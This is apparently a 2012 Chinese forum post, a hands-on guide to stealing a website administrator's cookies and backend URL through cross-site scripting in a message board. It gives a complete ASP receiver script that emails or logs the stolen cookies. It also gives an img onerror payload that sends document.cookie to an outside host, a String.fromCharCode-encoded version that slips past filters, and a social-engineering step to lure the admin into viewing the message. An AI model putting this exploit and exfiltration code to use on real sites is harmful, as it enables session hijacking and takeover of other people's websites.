XSS獲取管理後臺實戰

fengling132發表於2012-05-02

一直想寫可沒空寫,既然Trojan 整理出來我就發下。其實也就是個類似QQ馬發信的程式碼.request接受資料,然後建立檔案流

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
dizhi=request("dizhi")
SaveFile="pass.txt" '儲存獲取資料的TXT
IfSendMail=true '是否使用郵件傳送,如果True則傳送郵件不儲存TXT 如果false則儲存txt而不傳送郵件
YourSendMail="czsteel@163.com" '修改成你自己的郵箱地址。
YourSendMailUser="cal" '郵箱登陸使用者名稱
YourSendMailPass="a" '郵箱登陸密碼 (以上3項郵箱、賬號、密碼改成自己的) 這裡用我的備用郵箱給你們
測試,24小時後我修改密碼...
YourSendMailServer="smtp.163.com" '郵件伺服器
'注意哦,你自己的郵箱地址必須要開通pop/smtp功能。否則不能正常發信。
'另外就是你的空間必須支援Jmail.
YourMailTitle="a" '郵件標題
YourRecvMail="a" '收取截獲資料的郵箱,建議使用QQ郵箱,可以實時提示,讓你第時間得到要的資訊
sub sendmail(content)
On error resume next
dim JMail
Set JMail = Server.CreateObject("JMail.Message")
JMail.Logging = True
JMail.Charset = "gb2312"
JMail.ContentType = "textml"
JMail.From = YourSendMail
JMail.FromName = ""&YourSendMailUser
JMail.MailServerUserName = YourSendMailUser
JMail.MailServerPassword = YourSendMailPass
JMail.Priority = 1
JMail.AddRecipient YourRecvMail
JMail.Subject = YourMailTitle
JMail.Body = content
JMail.Send("smtp.163.com")
Set JMail = nothing
If err then
Response.write "傳送失敗!請檢查配置!並確認你的伺服器是否支援Jmail!"
' &GetPostStr
else
Response.write "傳送成功!"&GetPostStr
'&GetPostStr &url
end if
end sub
GetPostStr=Request.QueryString("cookie")&"|"&dizhi
if GetPostStr="" then
Response.write "None!"
end if
if ifsendmail then
StrTemp=Replace(GetPostStr,"=",":")
StrTemp=Replace(StrTemp,"&","
"
)
StrTemp=StrTemp&"|"&Request.ServerVariables("Remote_Addr")
sendmail(StrTemp)
'ip = Request.ServerVariables("Remote_Addr")
'WriteTxt(Request.ServerVariables("Remote_Addr"),StrTemp)
else
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath(SaveFile),8,True,0)
TempStr=Split(GetPostStr,"&")
for TempI=0 To Ubound(TempStr)
I.WriteLine(Replace(TempStr(TempI),"=",":"))
next
I.WriteLine(now())
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end if
Function WriteTxt(ip,Str)
set F=server.CreateObject("scripting.filesystemobject")
set I=F.OpenTextFile(server.mappath("SendIp.txt"),8,True,0)
I.WriteLine(now())
I.WriteLine(ip)
I.WriteLine(Str)
I.WriteLine("--------------------------------")
I.close
Set F=nothing
end Function
%>

這樣就實現了建立txt的功能.下面構造下跨站.<script>被過濾了.別的沒過濾貌似.想獲取後臺就是知道他當前的document.url 就可以了.直接作為引數穿走:

<img src="x"/**/onerror="eval(img = new Image(); img.src = " http://www.szbuffer.com/
url.asp?cookie="+document.cookie+"&dizhi="+document.URL;img.width=0;img.height=0)"></img>

簡單解釋下.一個Img標籤說明是圖片地址是x出錯了執行後面的話,建立了一個img的物件,然後呼叫Img的src屬性等.主要傳參.我把程式碼發到了留言板發現不執行.估計還給過濾了.那就把程式碼轉換成asci碼,利用String.fromCharCode在解析回來:

<img src="x"/**/onerror="eval(String.fromCharCode(105,109,103,32,61,32,110,
101,119,32,73,109,97,103,101,40,41,59,32,105,109,103,46,115,114,99,32,61,32,
34,104,116,116,112,58,47,47,119,119,119,46,120,120,98,105,110,103,46,99,111,
109,47,102,117,99,107,121,111,117,46,97,115,112,63,99,111,111,107,105,101,61,
34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,43,34,38,100,
105,122,104,105,61,34,43,100,111,99,117,109,101,110,116,46,85,82,76,59,105,
109,103,46,119,105,100,116,104,61,48,59,105,109,103,46,104,101,105,103,104,
116,61,48))"></img>

這樣留言後加上管理員QQ,說管理員你們服務太差勁了,我不想多說了,去看我給你們的留言把.然後等著上鉤把.這個方式試用在可以留言,有跨站,不知道後臺地址的情況下.

相關文章